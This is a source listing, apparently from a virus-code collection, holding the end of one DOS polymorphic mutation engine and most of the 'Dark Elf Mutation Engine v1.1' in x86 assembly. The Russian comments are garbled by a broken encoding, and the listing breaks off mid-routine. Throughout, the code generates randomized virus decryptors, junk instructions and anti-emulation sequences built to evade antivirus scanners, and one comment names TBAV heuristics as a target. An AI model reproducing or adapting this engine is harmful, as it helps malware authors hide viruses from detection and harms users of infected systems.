||||
|
||||
lea_mov:call binary
|
||||
jz zero_then_add
|
||||
|
||||
sal al,3
|
||||
or al,06
|
||||
mov ah,8d
|
||||
xchg ah,al
|
||||
stosw
|
||||
xchg ax,bx
|
||||
jmp short put_mov_b
|
||||
|
||||
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
|
||||
push bx ;Then OR/XOR/ADD Value
|
||||
push ax ;or SUB -Value
|
||||
mov ah,0c0
|
||||
or ah,al
|
||||
sal al,3
|
||||
or ah,al
|
||||
mov al,29
|
||||
call binary
|
||||
if z mov al,31
|
||||
stosw
|
||||
call pad_10
|
||||
pop bx
|
||||
call get_rand_2
|
||||
add ax,offset value_from_0
|
||||
xchg si,ax
|
||||
lodsb
|
||||
call binary
|
||||
jz zero_then_sub
|
||||
|
||||
or al,bl
|
||||
mov ah,81
|
||||
xchg ah,al
|
||||
stosw
|
||||
pop ax
|
||||
|
||||
put_mov_b:
|
||||
cmp B index_set,01
|
||||
if e mov W index_loc,di
|
||||
stosw
|
||||
ret
|
||||
|
||||
zero_then_sub:
|
||||
cmp B index_set,01
|
||||
if e mov B index_sub,1
|
||||
mov al,0e8
|
||||
or al,bl
|
||||
mov ah,81
|
||||
xchg ah,al
|
||||
stosw
|
||||
pop ax
|
||||
neg ax
|
||||
jmp short put_mov_b
|
||||
|
||||
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
|
||||
call get_rand_7
|
||||
inc ax
|
||||
jmp short padder
|
||||
|
||||
pad_10: push ax
|
||||
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
|
||||
or al,8
|
||||
padder: xchg cx,ax
|
||||
call more_junk
|
||||
pop ax
|
||||
ret
|
||||
|
||||
|
||||
more_junk:
|
||||
mov al,03
|
||||
call get_rand_b
|
||||
jnz mj0
|
||||
|
||||
mov B [offset code_jmp],083 ;Re-Enable Jumps
|
||||
mov ax,cx ;else normal filler junk (1 in 16)
|
||||
cmp ax,40
|
||||
if a mov al,40
|
||||
call get_rand_b
|
||||
xchg bx,ax
|
||||
call fill_jnk
|
||||
jmp short mj2
|
||||
|
||||
mj0: ;8 in 16 chance of some type of jump
|
||||
call code_jmp
|
||||
|
||||
|
||||
mj2: jcxz ret
|
||||
jmp short more_junk
|
||||
|
||||
|
||||
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
|
||||
jcxz ret
|
||||
mov si,one_byters ;FROM one_byters TABLE
|
||||
mov al,length_1
|
||||
call get_rand_b
|
||||
add si,ax
|
||||
movsb
|
||||
dec cx
|
||||
dec bx
|
||||
ret
|
||||
|
||||
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
|
||||
sal al,3
|
||||
or al,3
|
||||
xchg dx,ax
|
||||
call get_unused_reg
|
||||
sal al,3
|
||||
mov dh,al
|
||||
call get_rand_7
|
||||
do_op: or dh,al
|
||||
or dh,0c0
|
||||
xchg dx,ax
|
||||
put_2: cmp bx,2
|
||||
jb one_byte
|
||||
stosw
|
||||
dec cx,2
|
||||
dec bx,2
|
||||
ret
|
||||
|
||||
|
||||
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
|
||||
cmp al,6
|
||||
je lea_reg
|
||||
|
||||
xchg dx,ax
|
||||
call get_unused_reg
|
||||
sal al,3
|
||||
or al,dl
|
||||
mov ah,08d
|
||||
xchg ah,al
|
||||
|
||||
jmp short put_2
|
||||
|
||||
op_ax: call get_any_rand
|
||||
and al,8
|
||||
or al,5
|
||||
and ah,3
|
||||
shr ah,4
|
||||
or al,ah
|
||||
|
||||
put_3: cmp bx,3
|
||||
jb reg_op
|
||||
stosb
|
||||
call get_any_rand
|
||||
put_3b: stosw
|
||||
sub cx,3
|
||||
sub bx,3
|
||||
ret
|
||||
|
||||
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
|
||||
or al,0b8
|
||||
jmp short put_3
|
||||
|
||||
|
||||
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
|
||||
cmp bx,4
|
||||
jb op_ax
|
||||
call get_unused_reg
|
||||
mov ah,81
|
||||
xchg dx,ax
|
||||
call get_rand_7
|
||||
sal al,3
|
||||
or ax,dx
|
||||
xchg ah,al
|
||||
or ah,0c0
|
||||
stosw
|
||||
call get_any_rand
|
||||
stosw
|
||||
sub bx,4
|
||||
sub cx,4
|
||||
ret
|
||||
|
||||
|
||||
code_jmp:
|
||||
cmp cx,3
|
||||
jb ret
|
||||
|
||||
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
|
||||
;(TBAV-J) and helps stops heuristics
|
||||
call get_any_rand ;else conditional jmp
|
||||
and ax,1f0f ;between 4 and 43 bytse jmp length
|
||||
add ah,4
|
||||
or al,70 ;conditional jmp instructions are 70
|
||||
;--> 7f
|
||||
push ax
|
||||
call get_rand_1f
|
||||
pop ax
|
||||
if z mov al,0e3
|
||||
xor bx,bx
|
||||
mov bl,ah
|
||||
|
||||
dec cx,2
|
||||
cmp bx,cx
|
||||
jb put_jmp
|
||||
mov bx,cx
|
||||
mov ah,bl
|
||||
|
||||
put_jmp:stosw
|
||||
|
||||
fill_jnk:
|
||||
or bx,bx
|
||||
jz ret
|
||||
|
||||
mov al,((offset binary - offset junk_tbl)/2)-1
|
||||
call get_rand_b
|
||||
add ax,ax
|
||||
add ax,offset junk_tbl
|
||||
xchg si,ax
|
||||
lodsw
|
||||
call ax
|
||||
jmp short fill_jnk
|
||||
|
||||
|
||||
pp_reg: ;generate PUSH reg / junk / POP reg
|
||||
cmp bx,3
|
||||
jb gen_int
|
||||
|
||||
lea ax,[bx-2]
|
||||
shr ax,1
|
||||
call get_rand
|
||||
xchg ax,dx
|
||||
call get_rand_7
|
||||
or al,50
|
||||
stosb
|
||||
dec cx
|
||||
dec bx
|
||||
push ax
|
||||
xchg dx,ax
|
||||
sub bx,ax
|
||||
push bx
|
||||
xchg bx,ax
|
||||
call fill_jnk
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
call binary
|
||||
jz use_same
|
||||
call get_unused_reg
|
||||
or al,50
|
||||
|
||||
use_same:
|
||||
or al,8
|
||||
stosb
|
||||
dec cx
|
||||
dec bx
|
||||
ret
|
||||
|
||||
|
||||
gen_int:cmp bx,4
|
||||
jb ret
|
||||
|
||||
call get_rand_2
|
||||
|
||||
add ax,ax
|
||||
add ax,offset int_tbl
|
||||
xchg si,ax
|
||||
lodsw
|
||||
mov dx,0cdb4
|
||||
xchg al,dl
|
||||
stosw
|
||||
xchg dx,ax
|
||||
xchg ah,al
|
||||
stosw
|
||||
sub cx,4
|
||||
sub bx,4
|
||||
ret
|
||||
|
||||
junk_tbl: dw offset op_reg_im
|
||||
dw offset op_reg_im
|
||||
dw offset op_reg_im
|
||||
dw offset gen_int
|
||||
dw offset gen_int
|
||||
dw offset pp_reg
|
||||
dw offset pp_reg
|
||||
dw offset reg_op
|
||||
dw offset reg_op
|
||||
dw offset lea_reg
|
||||
dw offset lea_reg
|
||||
dw offset mov_reg
|
||||
dw offset op_ax
|
||||
dw offset one_byte
|
||||
|
||||
binary: push ax
|
||||
mov al,1
|
||||
call get_rand_b
|
||||
pop ax
|
||||
ret
|
||||
|
||||
get_rand_2:
|
||||
mov al,2
|
||||
db 0a9
|
||||
|
||||
get_rand_7:
|
||||
mov al,7
|
||||
db 0a9
|
||||
|
||||
get_rand_1f:
|
||||
mov al,1f
|
||||
db 0a9
|
||||
|
||||
get_any_rand: ;return rnd number in AX between 0 and FFFE
|
||||
mov al,0fe
|
||||
|
||||
get_rand_b:
|
||||
cbw
|
||||
|
||||
get_rand: ;returns random number in AX between 0 and AX
|
||||
push cx,dx
|
||||
inc ax
|
||||
push ax
|
||||
in ax,40
|
||||
xchg cx,ax
|
||||
in ax,40
|
||||
rol ax,cl
|
||||
xchg cx,ax
|
||||
in ax,40
|
||||
xor ax,cx
|
||||
adc ax,1234
|
||||
org $-2
|
||||
last_rand dw 0AAAA
|
||||
mov last_rand,ax
|
||||
pop cx
|
||||
xor dx,dx
|
||||
cmp cx,1
|
||||
adc cx,0
|
||||
div cx
|
||||
xchg dx,ax
|
||||
or ax,ax
|
||||
pop dx,cx
|
||||
ret
|
||||
|
||||
one_byters: cmc ;15 1 byte junk instructions
|
||||
cld
|
||||
std
|
||||
in ax,dx
|
||||
in al,dx
|
||||
lahf
|
||||
cbw
|
||||
nop
|
||||
aaa
|
||||
aas
|
||||
daa
|
||||
das
|
||||
inc ax
|
||||
dec ax
|
||||
xlat
|
||||
|
||||
|
||||
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
|
||||
dw 0216 ;AH=02,INT16: Get Keyboard States..
|
||||
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||
dw 0d10 ;AH=0D,INT10: Get Video Info..
|
||||
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
|
||||
dw 002a
|
||||
dw 002a
|
||||
|
||||
|
||||
clear_regs: cwd
|
||||
mov B index_reg,dl ;Clears Register Tables
|
||||
mov B key_reg,dl ;(All Regs Free)..
|
||||
mov B count_reg,dl
|
||||
ret
|
||||
|
||||
get_unused_reg: call get_rand_7 ;Return an Unused Register..
|
||||
test al,NOT tce_SP ;But _NOT_ SP, or AX.
|
||||
jz get_unused_reg
|
||||
cmp al,index_reg
|
||||
je get_unused_reg
|
||||
cmp al,count_reg
|
||||
je get_unused_reg
|
||||
cmp al,B key_reg
|
||||
je get_unused_reg
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************
|
||||
;* The Encryptor (Built along with Decryptor) *
|
||||
;**********************************************
|
||||
encryptor: mov cx,1234
|
||||
org $-2
|
||||
enc_length dw 0
|
||||
|
||||
mov bx,1234
|
||||
org $-2
|
||||
enc_index dw 0
|
||||
|
||||
mov ax,1234
|
||||
org $-2
|
||||
enc_key dw 0
|
||||
|
||||
enc_cf: nop
|
||||
enc_loop: xor [bx],ax
|
||||
|
||||
enc_mod_op dw 0
|
||||
enc_mod_val dw 0
|
||||
|
||||
inc bx,2
|
||||
loop enc_cf
|
||||
ret
|
||||
|
||||
;****************************
|
||||
;* Data / Variables / Flags *
|
||||
;****************************
|
||||
|
||||
init_1 dw offset init_count
|
||||
init_2 dw offset init_key
|
||||
init_3 dw offset init_index
|
||||
|
||||
init_4 dw offset inc_index
|
||||
init_5 dw offset modify_key
|
||||
|
||||
;* The Below is A table of Values to Be Used To Choose *
|
||||
;* The Count Register, The Index Register, and The Reg *
|
||||
;* to save SP in During the Decryptor Loop *
|
||||
; BX BP SI DI ;This Table is used To Build
|
||||
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
|
||||
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
|
||||
; SBB ADC XOR XOR ADD SUB
|
||||
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
|
||||
|
||||
; AND OR TEST
|
||||
zero_test_a: db 21, 09,85
|
||||
|
||||
; SUB ;Opcodes to Modify the Key
|
||||
modify_table: db 0e8 ;Register
|
||||
; ADD XOR OR ;Opcode to get A value
|
||||
value_from_0: db 0c0,0f0,0c8 ;from 0.
|
||||
|
||||
loop_start dw 0 ;Postion for LOOP to Jump to..
|
||||
|
||||
index_num dw 0
|
||||
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
|
||||
index_loc dw 0 ;location in ES of index reference set
|
||||
index_sub db 0 ;Was index_reg set using 0 the sub -value?
|
||||
|
||||
index_reg db 0 ;Table of Used Registers..
|
||||
count_reg db 0 ;used in GET_UNUSED_REG
|
||||
key_reg db 0
|
||||
index_set db 0
|
||||
|
||||
tce_flags dw 0 ;Engines Flags
|
||||
tce_delta dw 0 ;Delta Offset
|
||||
tce_begin dw 0 ;Beginning
|
||||
c_length dw 0
|
||||
end_tce:
|
||||
|
821
Engines/Virus.Win32.DarkElf.asm
Normal file
821
Engines/Virus.Win32.DarkElf.asm
Normal file
@ -0,0 +1,821 @@
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
;¯®¤¯à®£à ¬¬ë :
|
||||
; DEME - á ¬ Mutation ¨ ¥áâì
|
||||
; Randomize - î§ ¥â ¯®àâ 40h
|
||||
; RND - AX = RND(65536)
|
||||
|
||||
PUSHSTATE
|
||||
IDEAL
|
||||
LOCALS @@
|
||||
DEME_MaxDecoderLen=1500
|
||||
proc DEME
|
||||
;<3B> à ¬¥âàë :
|
||||
;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
|
||||
; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
|
||||
;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
|
||||
;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
|
||||
;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
|
||||
;‚®§¢à é ¥â :
|
||||
;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
|
||||
pushf
|
||||
push bx di si ds
|
||||
push cs
|
||||
pop ds
|
||||
cld
|
||||
inc bx
|
||||
shr bx,1
|
||||
mov [DEME_CodeLen],bx
|
||||
mov [DEME_Origin],dx
|
||||
mov [DEME_BuffOffs],di
|
||||
call Randomize
|
||||
call DEME_ChooseRegs
|
||||
call DEME_GenProlog
|
||||
call DEME_GenCrypt
|
||||
call DEME_GenEpilog
|
||||
pop ds si
|
||||
call DEME_Encode
|
||||
mov cx,di
|
||||
pop di bx
|
||||
sub cx,di
|
||||
popf
|
||||
ret
|
||||
endp DEME
|
||||
|
||||
R_AX=00000000b
|
||||
R_CX=00000001b
|
||||
R_DX=00000010b
|
||||
R_BX=00000011b
|
||||
R_SP=00000100b
|
||||
R_BP=00000101b
|
||||
R_SI=00000110b
|
||||
R_DI=00000111b
|
||||
|
||||
M_AX=00000001b
|
||||
M_CX=00000010b
|
||||
M_DX=00000100b
|
||||
M_BX=00001000b
|
||||
M_SP=00010000b
|
||||
M_BP=00100000b
|
||||
M_SI=01000000b
|
||||
M_DI=10000000b
|
||||
M_INDEX=M_BX+M_SI+M_DI
|
||||
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
|
||||
|
||||
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
|
||||
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
|
||||
DEME_Date db ??date,0,??time,0
|
||||
|
||||
proc DEME_Encode near
|
||||
push ax bx cx dx si
|
||||
mov cx,[DEME_CodeLen]
|
||||
mov dx,[DEME_Key]
|
||||
@@1:
|
||||
lodsw
|
||||
xor ax,dx
|
||||
stosw
|
||||
add dx,[DEME_KeyAdd]
|
||||
loop @@1
|
||||
pop si dx cx bx ax
|
||||
ret
|
||||
endp DEME_Encode
|
||||
|
||||
proc DEME_ChooseRegs near
|
||||
push ax
|
||||
mov [DEME_MaskUsed],M_SP
|
||||
mov al,M_INDEX
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegIndex],ax
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegCounter],ax
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegKey],ax
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_ChooseRegs
|
||||
|
||||
|
||||
proc DEME_GenProlog near
|
||||
push ax bx cx dx
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenAntiWeb
|
||||
|
||||
mov bx,offset DEME_GenLoadIndex
|
||||
mov cx,offset DEME_GenLoadKey
|
||||
mov dx,offset DEME_GenLoadCounter
|
||||
|
||||
call DEME_MixRegs
|
||||
call DEME_GenRandomSeq
|
||||
call bx
|
||||
call DEME_GenRandomSeq
|
||||
call dx
|
||||
call DEME_GenRandomSeq
|
||||
call cx
|
||||
call DEME_GenRandomSeq
|
||||
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenProlog
|
||||
|
||||
|
||||
proc DEME_GenAntiWeb
|
||||
push ax bx cx
|
||||
mov cl,[DEME_MaskUsed]
|
||||
test cl,M_AX
|
||||
je @@1
|
||||
mov al,050h
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
@@1:
|
||||
or [DEME_MaskUsed],M_AX
|
||||
mov ax,41e4h
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,1100010010001000b
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,41e4h
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,1100010000110000b
|
||||
stosw
|
||||
mov al,01110101b
|
||||
stosw
|
||||
mov bx,di
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,4cb4h
|
||||
stosw
|
||||
mov ax,21cdh
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,di
|
||||
sub ax,bx
|
||||
mov [es:bx-1],al
|
||||
|
||||
test cl,M_AX
|
||||
je @@2
|
||||
mov al,058h
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
@@2:
|
||||
mov [DEME_MaskUsed],cl
|
||||
pop cx bx ax
|
||||
ret
|
||||
endp DEME_GenAntiWeb
|
||||
|
||||
|
||||
proc DEME_GenLoadIndex near
|
||||
push ax
|
||||
mov ax,[DEME_RegIndex]
|
||||
or al,10111000b
|
||||
stosb
|
||||
mov [DEME_AddrBeg],di
|
||||
stosw
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_GenLoadIndex
|
||||
|
||||
proc DEME_GenLoadKey near
|
||||
push ax bx
|
||||
call RND
|
||||
mov bx,ax
|
||||
mov [DEME_Key],ax
|
||||
mov ax,[DEME_RegKey]
|
||||
call DEME_GenLoadReg16
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadKey
|
||||
|
||||
proc DEME_GenLoadCounter near
|
||||
push ax bx
|
||||
mov ax,[DEME_RegCounter]
|
||||
mov bx,[DEME_CodeLen]
|
||||
call DEME_GenLoadReg16
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadCounter
|
||||
|
||||
proc DEME_GenCrypt near
|
||||
push ax bx cx dx
|
||||
mov [DEME_LoopAddr],di
|
||||
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenXorCmd
|
||||
|
||||
mov dx,offset DEME_GenIncIndex
|
||||
mov bx,offset DEME_GenAddKey
|
||||
mov cx,offset DEME_GenDecCounter
|
||||
call DEME_MixRegs
|
||||
call DEME_GenRandomSeq
|
||||
call bx
|
||||
call DEME_GenRandomSeq
|
||||
call dx
|
||||
call DEME_GenRandomSeq
|
||||
call cx
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenCloseCycle
|
||||
call DEME_GenRandomSeq
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCrypt
|
||||
|
||||
proc DEME_GenXorCmd near
|
||||
push ax bx
|
||||
mov al,2eh
|
||||
stosb
|
||||
mov al,00110001b
|
||||
stosb
|
||||
mov bx,[DEME_RegIndex]
|
||||
cmp bx,R_BX
|
||||
jne @@1
|
||||
mov al,00000111b
|
||||
@@1:
|
||||
cmp bx,R_SI
|
||||
jne @@2
|
||||
mov al,00000100b
|
||||
@@2:
|
||||
cmp bx,R_DI
|
||||
jne @@3
|
||||
mov al,00000101b
|
||||
@@3:
|
||||
mov bx,[DEME_RegKey]
|
||||
shl bl,3
|
||||
or al,bl
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenXorCmd
|
||||
|
||||
proc DEME_GenIncIndex near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegIndex]
|
||||
call RND
|
||||
and ax,3
|
||||
or al,al
|
||||
jne @@1
|
||||
mov al,01000000b
|
||||
or al,bl
|
||||
stosb
|
||||
stosb
|
||||
jmp @@Exit
|
||||
@@1:
|
||||
dec al
|
||||
jne @@2
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,2
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@2:
|
||||
dec al
|
||||
jne @@3
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11101000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,-2
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@3:
|
||||
call DEME_GetUnusedReg
|
||||
mov bx,2
|
||||
call DEME_GenLoadReg16
|
||||
mov bx,[DEME_RegIndex]
|
||||
mov bh,al
|
||||
shl bh,3
|
||||
mov al,00000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
or al,bh
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenIncIndex
|
||||
|
||||
proc DEME_GenAddKey near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegKey]
|
||||
call RND
|
||||
mov [DEME_KeyAdd],ax
|
||||
push ax
|
||||
call RND
|
||||
xor ah,ah
|
||||
test al,00000100b
|
||||
je @@1
|
||||
neg [DEME_KeyAdd]
|
||||
mov ah,00101000b
|
||||
@@1:
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
xor al,ah
|
||||
or al,bl
|
||||
stosb
|
||||
pop ax
|
||||
stosw
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenAddKey
|
||||
|
||||
proc DEME_GenDecCounter near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegCounter]
|
||||
call RND
|
||||
and ax,3
|
||||
or al,al
|
||||
jne @@1
|
||||
mov al,01001000b
|
||||
or al,bl
|
||||
stosb
|
||||
jmp @@Exit
|
||||
@@1:
|
||||
dec al
|
||||
jne @@2
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,-1
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@2:
|
||||
dec al
|
||||
jne @@3
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11101000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,1
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@3:
|
||||
call DEME_GetUnusedReg
|
||||
mov bx,1
|
||||
call DEME_GenLoadReg16
|
||||
mov bx,[DEME_RegCounter]
|
||||
mov bh,al
|
||||
shl bh,3
|
||||
mov al,00101001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
or al,bh
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenDecCounter
|
||||
|
||||
proc DEME_GenCloseCycle near
|
||||
push ax bx cx dx
|
||||
call RND
|
||||
and ax,3
|
||||
shl ax,1
|
||||
mov bx,ax
|
||||
call [DEME_Clos1Tbl+bx]
|
||||
call RND
|
||||
test al,1
|
||||
je @@1
|
||||
mov al,10011100b
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
mov al,10011101b
|
||||
stosb
|
||||
@@1:
|
||||
call [DEME_Clos2Tbl+bx]
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_ClosJmp
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_ClosJmpShort
|
||||
call DEME_GenRandomSeq
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCloseCycle
|
||||
|
||||
DEME_Clos1Tbl dw offset DEME_Clos11
|
||||
dw offset DEME_Clos12
|
||||
dw offset DEME_Clos13
|
||||
dw offset DEME_Clos14
|
||||
|
||||
DEME_Clos2Tbl dw offset DEME_Clos21
|
||||
dw offset DEME_Clos22
|
||||
dw offset DEME_Clos21
|
||||
dw offset DEME_Clos21
|
||||
|
||||
proc DEME_Clos11 near
|
||||
push ax bx
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11111000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos11
|
||||
|
||||
proc DEME_Clos12 near
|
||||
push ax bx
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11111000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
inc ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos12
|
||||
|
||||
proc DEME_Clos13 near
|
||||
push ax bx
|
||||
mov al,00001001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
mov ah,11000000b
|
||||
or ah,al
|
||||
shl al,3
|
||||
or al,ah
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos13
|
||||
|
||||
proc DEME_Clos14 near
|
||||
push ax bx
|
||||
mov al,11110111b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11000000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
dec ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos14
|
||||
|
||||
proc DEME_Clos21 near
|
||||
push ax
|
||||
mov al,01110100b
|
||||
stosb
|
||||
mov [DEME_JmpShort],di
|
||||
stosb
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_Clos21
|
||||
|
||||
proc DEME_Clos22 near
|
||||
push ax
|
||||
mov al,01110010b
|
||||
stosb
|
||||
mov [DEME_JmpShort],di
|
||||
stosb
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_Clos22
|
||||
|
||||
proc DEME_ClosJmp near
|
||||
push ax
|
||||
mov al,11101001b
|
||||
stosb
|
||||
mov ax,[DEME_LoopAddr]
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_ClosJmp
|
||||
|
||||
proc DEME_ClosJmpShort near
|
||||
push ax bx
|
||||
mov ax,di
|
||||
mov bx,[DEME_JmpShort]
|
||||
sub ax,bx
|
||||
dec ax
|
||||
mov [es:bx],al
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_ClosJmpShort
|
||||
|
||||
proc DEME_GenEpilog near
|
||||
push ax bx dx
|
||||
call RND
|
||||
and ax,3fh
|
||||
inc ax
|
||||
@@1:
|
||||
call DEME_GenTrash
|
||||
dec ax
|
||||
jnz @@1
|
||||
mov bx,[DEME_AddrBeg]
|
||||
mov dx,di
|
||||
sub dx,[DEME_BuffOffs]
|
||||
add dx,[DEME_Origin]
|
||||
mov [es:bx],dx
|
||||
pop dx bx ax
|
||||
ret
|
||||
endp DEME_GenEpilog
|
||||
|
||||
|
||||
proc DEME_MixRegs near
|
||||
push ax
|
||||
call RND
|
||||
test al,1
|
||||
je @@1
|
||||
xchg bx,cx
|
||||
@@1:
|
||||
test al,2
|
||||
je @@2
|
||||
xchg cx,dx
|
||||
@@2:
|
||||
test al,4
|
||||
je @@3
|
||||
xchg bx,dx
|
||||
@@3:
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_MixRegs
|
||||
|
||||
|
||||
proc Randomize near
|
||||
push ax
|
||||
in ax,40h
|
||||
mov [seed1],ax
|
||||
pop ax
|
||||
ret
|
||||
endp Randomize
|
||||
|
||||
proc RND near
|
||||
push dx
|
||||
mov ax,[seed]
|
||||
xor ax,[seed1]
|
||||
mul ax
|
||||
mov al,dl
|
||||
mov [seed],ax
|
||||
pop dx
|
||||
ret
|
||||
endp RND
|
||||
|
||||
|
||||
;ƒ¥¥à æ¨ï ª®¬ ¤
|
||||
|
||||
proc DEME_GenRandomSeq near
|
||||
;ƒ¥¥à¨â ªãçã ¬ãá®à
|
||||
push ax
|
||||
call RND
|
||||
and ax,0fh
|
||||
inc ax
|
||||
@@1:
|
||||
call DEME_GenTrash
|
||||
dec ax
|
||||
jnz @@1
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_GenRandomSeq
|
||||
|
||||
proc DEME_GenTrash near
|
||||
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
|
||||
push ax bx
|
||||
call RND
|
||||
and ax,3
|
||||
shl ax,1
|
||||
mov bx,ax
|
||||
call [DEME_TrashTbl+bx]
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenTrash
|
||||
|
||||
DEME_TrashTbl dw offset DEME_GenCmd1
|
||||
dw offset DEME_GenCmd2
|
||||
dw offset DEME_GenCmd3
|
||||
dw offset DEME_GenCmd4
|
||||
|
||||
proc DEME_GenCmd1 near
|
||||
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
|
||||
ret
|
||||
push ax bx
|
||||
test [DEME_MaskUsed],M_AX
|
||||
jne @@Exit
|
||||
call RND
|
||||
and ax,7
|
||||
mov bx,ax
|
||||
